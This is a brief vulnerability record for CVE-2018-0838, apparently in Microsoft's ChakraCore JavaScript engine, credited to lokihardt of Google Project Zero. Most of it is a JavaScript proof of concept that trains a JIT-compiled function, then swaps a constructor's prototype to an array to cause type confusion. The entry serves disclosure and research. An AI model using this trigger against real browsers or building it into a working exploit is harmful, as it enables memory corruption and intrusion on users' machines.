CVE-2018-0838.md

CVE-2018-0838

• Fix: Feb 2018
• Credit: lokihardt of Google Project Zero

PoC

function inlinee() {

}

function opt(arr) {
    arr[0] = 1.1;
    new inlinee();
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];
    for (let i = 0; i < 10000; i++) {
        inlinee.prototype = {};
        opt(arr);
    }

    inlinee.prototype = arr;
    opt(arr);

    print(arr);
}

Reference

• Microsoft
• Google Project Zero
• Fix